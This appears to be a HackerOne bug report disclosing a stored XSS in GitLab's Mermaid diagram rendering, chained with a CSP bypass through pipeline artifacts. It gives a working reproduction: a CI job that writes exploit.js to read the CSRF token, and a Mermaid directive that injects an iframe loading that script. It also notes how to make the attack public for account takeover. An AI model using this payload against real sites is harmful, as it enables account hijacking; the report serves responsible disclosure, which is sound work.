Lucene search

K
hackeroneSaleemrashidH1:1212822
HistoryMay 30, 2021 - 1:49 a.m.

GitLab: Stored XSS in Mermaid when viewing Markdown files

2021-05-3001:49:50
saleemrashid
hackerone.com
16
gitlab
mermaid
xss
markdown
rce
html
csp
csrf
pipeline
artifacts
security configuration
repository.

Summary

GitLab’s Mermaid configuration allows an attacker to inject HTML in the rendered Markdown. This can be combined with a CSP bypass using pipeline artifacts to achieve RCE.

Steps to reproduce

  1. Create a repository on GitLab.com

  2. Add the following to .gitlab-ci.yml

---
job:
  script:
  - "echo 'alert(parent.document.querySelector(\"meta[name=csrf-token]\").outerHTML)' > exploit.js"
  artifacts:
    paths:
    - exploit.js
  1. Wait for the pipeline to finish and record the job ID

  2. Add the following to README.md, changing the project name (saleemrashid/mermaid-exploit-7032e404) and job ID (1303935016) accordingly

```mermaid
%%{init: {"flowchart": {"htmlLabels": "false"}} }%%
flowchart
  A["<iframe srcdoc='<script src=https://gitlab.com/api/v4/projects/saleemrashid%2Fmermaid-exploit-7032e404/jobs/1303935016/artifacts/exploit.js></script>'></iframe>"]
```
  1. Open README.md (or any page that renders it, including the project overview page), and observe the alert containing the CSRF token (e.g. <meta name="csrf-token" content="XXXXXX">) caused by executing exploit.js

Impact

Because the XSS leads to code execution as the authenticated user, this allows full account take-over without user interaction.

Examples

Private project on GitLab.com https://gitlab.com/saleemrashid/mermaid-exploit-7032e404

What is the current bug behavior?

Mermaid supports HTML labels when flowchart.htmlLabels is enabled and securityLevel is not strict. GitLab’s configuration disables this functionality https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/app/assets/javascripts/behaviors/markdown/render_mermaid.js#L40-52

  mermaid.initialize({
    // mermaid core options
    mermaid: {
      startOnLoad: false,
    },
    // mermaidAPI options
    theme,
    flowchart: {
      useMaxWidth: true,
      htmlLabels: false,
    },
    securityLevel: 'strict',
  });

However, Mermaid also supports directives (https://mermaid-js.github.io/mermaid/#/directives) to alter the configuration. For security reasons, these directives aren’t able to override certain configuration options https://github.com/mermaid-js/mermaid/blob/8.9.2/src/defaultConfig.js#L114-L120

  /**
   * This option controls which currentConfig keys are considered _secure_ and can only be changed via
   * call to mermaidAPI.initialize. Calls to mermaidAPI.reinitialize cannot make changes to
   * the `secure` keys in the current currentConfig. This prevents malicious graph directives from
   * overriding a site's default security.
   */
  secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],

While you can’t override securityLevel, it turns out that overriding flowchart.htmlLabels to "false" (specifically the string, not the boolean) is sufficient to bypass the sanitization https://github.com/mermaid-js/mermaid/blob/8.9.2/src/diagrams/common/common.js#L34-L54

  let htmlLabels = true;
  if (
    config.flowchart &&
    (config.flowchart.htmlLabels === false || config.flowchart.htmlLabels === 'false')
  ) {
    htmlLabels = false;
  }

  if (htmlLabels) {
    const level = config.securityLevel;

    if (level === 'antiscript') {
      txt = removeScript(txt);
    } else if (level !== 'loose') {
      // eslint-disable-line
      txt = breakToPlaceholder(txt);
      txt = txt.replace(/</g, '<').replace(/>/g, '>');
      txt = txt.replace(/=/g, '=');
      txt = placeholderToBreak(txt);
    }
  }

The above code will not sanitize the label if flowchart.htmlLabels is set to false or "false". It seems like the intention is to not sanitize the label if it’s going to be rendered as text, which makes sense. However, the code that actually decides whether to render it as HTML or text always uses if (config.flowchart.htmlLabels), which would succeed for the string "false" (because it’s truthy). This means the sanitization is bypassed, but the string is still rendered as HTML, resulting in XSS.

To make use of the XSS, we need to bypass the CSP:

script-src 'self' 'unsafe-inline' 'unsafe-eval' https://assets.gitlab-static.net https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com 'nonce-<nonce>'

Using nonces causes the browser to ignore 'unsafe-inline', so we can’t use inline scripts. However, we can take advantage of the fact that Workhorse will serve pipeline artifacts with an auto-detected Content-Type based on the file extension https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/workhorse/internal/artifacts/entry.go#L98-101

	// Write http headers about the file
	headers.Set("Content-Length", contentLength)
	headers.Set("Content-Type", detectFileContentType(fileName))
	headers.Set("Content-Disposition", "attachment; filename=\""+escapeQuotes(basename)+"\"")

The Content-Disposition header prevents this from being used for HTML/SVG-based XSS, but it still allows pipeline artifacts to be used as scripts or stylesheets. Because they are on the same domain, they satisfy 'self' in the CSP policy.

Finally, RCE can be achieved by using the XSS to inject the following HTML, executing a pipeline artifact as JavaScript (<iframe srcdoc> is used because you can’t directly inject a <script> tag with innerHTML). This example refers to an artifact on a private repository to maintain responsible disclosure, but you would enable public pipelines for an actual exploit (or add an access token to the URL) so the artifact is accessible by any user.

<iframe srcdoc='<script src=https://gitlab.com/api/v4/projects/saleemrashid%2Fmermaid-exploit-7032e404/jobs/1303935016/artifacts/exploit.js></script>

What is the expected correct behavior?

Mermaid should not allow HTML injection. While configuration changes and upstream bugfixes could improve the situation, it might be prudent to move Mermaid into a sandboxed iframe to avoid future vulnerabilities. For example, it also supports specifying themeCSS (which I attempted to use for a CSS exfiltration attack, but it wasn’t practical to exfiltrate more than a few characters because the CSP didn’t allow to @import files from an external server).

Additionally, Workhorse serving artifacts with dangerous Content-Type headers might not be secure behavior because it allows to bypass the CSP.

Output of checks

This bug happens on GitLab.com

Impact

Because the XSS leads to code execution as the authenticated user, this allows full account take-over without user interaction.